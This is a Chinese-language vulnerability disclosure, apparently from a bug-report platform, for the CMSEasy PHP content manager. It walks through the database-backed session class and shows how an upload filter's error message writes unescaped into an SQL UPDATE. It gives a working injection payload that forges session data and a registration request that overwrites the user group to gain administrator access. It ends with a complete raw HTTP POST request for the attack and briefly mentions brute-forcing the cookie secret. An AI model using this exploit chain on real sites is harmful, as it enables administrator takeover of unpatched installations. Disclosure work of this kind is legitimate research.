### 简要描述: 这个可以做比较多的事。 ### 详细说明: 因为他的session的机制是从 【数据库中取出 存入的】,所以有个注入点就可以操控他的session了。 在 front_class.php 1509 - 1522行中 ``` class session { static function get($key) { if (isset($_SESSION[$key])) return $_SESSION[$key]; else return false; } static function set($key,$var) { $_SESSION[$key]=$var; } static function del($key) { unset($_SESSION[$key]); } } ``` session类,一些初级的操作。 构造函数中370行 ``` new stsession(new sessionox()); ``` 因为有__autoload所以会自动载入文件. ``` final class stsession { private $_path = null; private $_name = null; private $_db = null; private $_ip = null; private $_maxtime = 0; private $_prefix = ''; public function __construct($db) { session_set_save_handler( array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc') ); //var_dump($db); $this->_db = $db; $this->_ip = $_SERVER['REMOTE_ADDR']; $this->_maxtime = ini_get('session.gc_maxlifetime'); $config = config::get('database'); $this->_prefix =...
### 简要描述: 这个可以做比较多的事。 ### 详细说明: 因为他的session的机制是从 【数据库中取出 存入的】,所以有个注入点就可以操控他的session了。 在 front_class.php 1509 - 1522行中 ``` class session { static function get($key) { if (isset($_SESSION[$key])) return $_SESSION[$key]; else return false; } static function set($key,$var) { $_SESSION[$key]=$var; } static function del($key) { unset($_SESSION[$key]); } } ``` session类,一些初级的操作。 构造函数中370行 ``` new stsession(new sessionox()); ``` 因为有__autoload所以会自动载入文件. ``` final class stsession { private $_path = null; private $_name = null; private $_db = null; private $_ip = null; private $_maxtime = 0; private $_prefix = ''; public function __construct($db) { session_set_save_handler( array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc') ); //var_dump($db); $this->_db = $db; $this->_ip = $_SERVER['REMOTE_ADDR']; $this->_maxtime = ini_get('session.gc_maxlifetime'); $config = config::get('database'); $this->_prefix = isset($config['prefix']) ? $config['prefix'] : ''; session_start(); $this->refresh(session_id()); } public function open($path,$name) { return true; } public function close(){ return true; } public function read($id) { $sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'"; //var_dump($sql); $res = $this->_db->query($sql); if (!$row = $this->_db->fetch_array($res)) { return null; } elseif ($this->_ip != $row['client_ip']) { if(config::get('session_ip')){ return null; }else{ return $row['data']; } } elseif ($row['update_time']+$this->_maxtime < time()){ $this->destroy($id); return null; } else { return $row['data']; } } public function write($id,$data) { $sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'"; //var_dump($sql); $res = $this->_db->query($sql); $time = time(); $row = $this->_db->fetch_array($res); if ($row) { //if ($row['data'] != $data) { $sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'"; $this->_db->query($sql); //} } else { if (!empty($data)) { $sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')"; $this->_db->query($sql); } } return true; } public function destroy($id) { $sql = "DELETE FROM {$this->_prefix}sessionox WHERE PHPSESSID = '$id'"; //var_dump($sql); $this->_db->query($sql); return true; } public function refresh($id){ $time = time(); $sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time' WHERE PHPSESSID = '$id'"; //var_dump($sql); $this->_db->query($sql); $this->gc($this->_maxtime); } public function gc($maxtime){ $time = time() - $maxtime; $sql = "DELETE FROM {$this->_prefix}sessionox WHERE update_time <= '$time'"; //var_dump($sql); $this->_db->query($sql); return true; } } ``` 这个功能就是将session数据存储到数据库。 ``` open(string $savePath, string $sessionName) open 回调函数类似于类的构造函数, 在会话打开的时候会被调用。 这是自动开始会话或者通过调用 session_start() 手动开始会话 之后第一个被调用的回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。 close() close 回调函数类似于类的析构函数。 在 write 回调函数调用之后调用。 当调用 session_write_close() 函数之后,也会调用 close 回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。 read(string $sessionId) 如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。 在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。 read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。 write(string $sessionId, string $data) 在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。 序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。 PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。 ``` 可以参考官网给的解释。 在这个类的构造函数中 session_start(); 就打开了session,所以会依次执行下面的open read write close read返回的是 :参见上面的说明 和serialize() 函数很相似,但是不是相同的。 这里流程差不多说完了. ------------------------ 下面就是漏洞的地方 在 tool_act.php 184行 uploadfile_action中 这是一个上传的功能 其中有这样一条代码 在200行 ``` if (!front::checkstr(@file_get_contents($file['tmp_name']))) { ``` checkstr函数 似乎是检查上传内容有没有一些危险代码吧。我们进去看看。 front_class.php 673行 ``` function checkstr($str) { if (preg_match("/<(\/?)(script|i?frame|style|html|body|title|link|meta)([^>]*?)>/is",$str,$match)) { //检查有没有出现上面的代码,有的话就打印传给flash()函数。照样我们跟入。 front::flash(print_r($match,true)); return false; } if (preg_match("/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/is",$str,$match)) { return false; } return true; } ``` 在573行 ``` static function flash($msg=null,$key='message') { if (!isset($msg)) return self::showflash(); if (session::get($key)) $msg=session::get($key).' '.$msg; session::set($key,$msg);//很明显是写入session中,会触发stsession 类中的write 写入到数据库里,但是呢_FILES是不受转义限制的,所以我们可以任意操作session } ``` 说明一下 write 流程是这样的 如果传入的 PHPSESSID 在表中没有记录的话就会插入一条记录 插入的 `$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";` 这样的,不能任意操作data列的数据。列都定死了。 如果里面有记录的话就会update `UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";` 我们可以闭合单引号,来达到任意写session数据的目的。 --------------------------------------------------- 现在来闭合单引号 front::flash(print_r($match,true)); 用了print_r把所有的结果全部打印出来传给flash 输入`<script>`匹配的好几个结果. ``` array(4) { [0]=> string(8) "<script>" [1]=> string(0) "" [2]=> string(6) "script" [3]=> string(0) "" } ``` 进入数据库是这样的(我这个是session表里已经有记录了的,没有记录的可以先请求一次`<script>`这个然后就有记录了。)因为他会把原先的数据会融合在一起的。 ``` UPDATE cmseasy_sessionox SET update_time='1411039331',data='message|s:146:"Array ( [0] => <script> [1] => [2] => script [3] => ) Array ( [0] => <script> [1] => [2] => script [3] => ) ";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1' ``` 我研究了一下了 `<script*/',DATA=111, client_ip=/*>` 这样就可以闭合单引号了。 sql日志: ``` UPDATE cmseasy_sessionox SET update_time='1411039651',data='message|s:124:"Array ( [0] => <script*/',DATA=111, client_ip=/*> [1] => [2] => script [3] => */',DATA=111, client_ip=/* ) ";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1' ``` 现在我们只需要按照他的格式来写入DATA列里就可以了 他这个格式和 serialize相似 session的名字 |隔开 s 字符串 124长度 xxxx值 ;结束 message|s:4:"xxxx"; ------------------ 找了个地方可以直接注册管理员 或提升管理员 做个演示把。 在user_act.php respond_action函数中 ``` $data=array( 'username'=>$username, 'password'=>$password, 'groupid'=>101, 'userip'=>front::ip(), $classname=>session::get('openid'), ); ``` 这个$classname = front::$get['ologin_code']; 也就是等于 $_GET['ologin_code'] 我们可以直接把 groupid这个数组覆盖掉 因为 session::get('openid')已经可以控制的。 【这里插一句,之前没发现这个漏洞的时候我看到这里 发现了这个问题,之前的想法是 把password覆盖掉,因为session::get('openid')值是空的,注册成功后 所以底下会有个setcookie的地方。password 会被加密掉 加密方式就是 md5($_password.config::get('cookie_password')) 这个 因为 我们的密码是空的 ,所以获得了 config::get('cookie_password')密码的md5值。 而这个 cookie安全码是这样获得 config::modify(array('cookie_password' => md5(rand() . time()))); rand+安装时间。测试了 在windows下rand()生成的数字是不大于32768的.(自己在kail下测试生成的数非常大。。。)但是这样前提是知道安装时间才行..暴力破解的话 (一秒钟就需要3万条。)数量太大了。寻找安装时间,只能通过保存快照的一些网站入手了,但是这个效果不理想.(得到cookie安全码就可以注射。)】 (ps 下这里下面还有个登录的地方也是可以的 ``` $post[$classname] = session::get('openid'); $this->_user->rec_update($post, 'userid=' . $row['userid']); ``` ) --------------------------------------------------------------------------- 。 ### 漏洞证明: 先让你的sessiono里有数据存入,我演示就用新的sessionid把 [<img src="https://images.seebug.org/upload/201409/1819465209b42696d27ce46b8e24aacc767553ea.jpg" alt="QQ截图20140918194222.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1819465209b42696d27ce46b8e24aacc767553ea.jpg) 数据库里已经有了 [<img src="https://images.seebug.org/upload/201409/18194748cdc012260e56dff6dfc95bcda838a6c2.jpg" alt="QQ截图20140918194329.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/18194748cdc012260e56dff6dfc95bcda838a6c2.jpg) 然后在写入我们的session数据 openid|s:1:"2"; 转换成hex,好了提交成功了 ``` <script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*> ``` [<img src="https://images.seebug.org/upload/201409/18195705d64804d3c022686814361845f5ac58a4.jpg" alt="er.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/18195705d64804d3c022686814361845f5ac58a4.jpg) 然后我们在来注册。 (我先把我的新的session换上去) [<img src="https://images.seebug.org/upload/201409/181952105ac80ee921f23fbcfe0cf324d52246e0.jpg" alt="cookie.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/181952105ac80ee921f23fbcfe0cf324d52246e0.jpg) http://127.0.0.1/cmseasy/index.php?case=user&act=respond&ologin_code=groupid POST提交 regsubmit=1&username=test_Noxxx&password=test_Noxxx 提交了自动转跳了 , [<img src="https://images.seebug.org/upload/201409/1819532068095ba652a73e6b0e530d4d79bc688b.jpg" alt="QQ截图20140918194857.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1819532068095ba652a73e6b0e530d4d79bc688b.jpg) 看看数据库里 [<img src="https://images.seebug.org/upload/201409/18195805fa740db01745975ed68eb58ef10f48b9.jpg" alt="111111.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/18195805fa740db01745975ed68eb58ef10f48b9.jpg) 好了 ,直接能登录后台 [<img src="https://images.seebug.org/upload/201409/18195942e539e173804e44ecc6b653b650227615.jpg" alt="end.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/18195942e539e173804e44ecc6b653b650227615.jpg) 这个更改附件类型 应该可以直接上传php文件吧。 【附上POST包】: ``` POST /cmseasy/index.php?case=tool&act=uploadfile&isdebug=1 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Content-Length: 245 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: null User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQENA9lBHWS8l97FJ Accept-Encoding: gzip,deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=q8v84kj42pnc0AAA624mf5bA ------WebKitFormBoundaryQENA9lBHWS8l97FJ Content-Disposition: form-data; name="data"; filename="test.jpg" Content-Type: image/jpeg <script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*> ------WebKitFormBoundaryQENA9lBHWS8l97FJ-- ```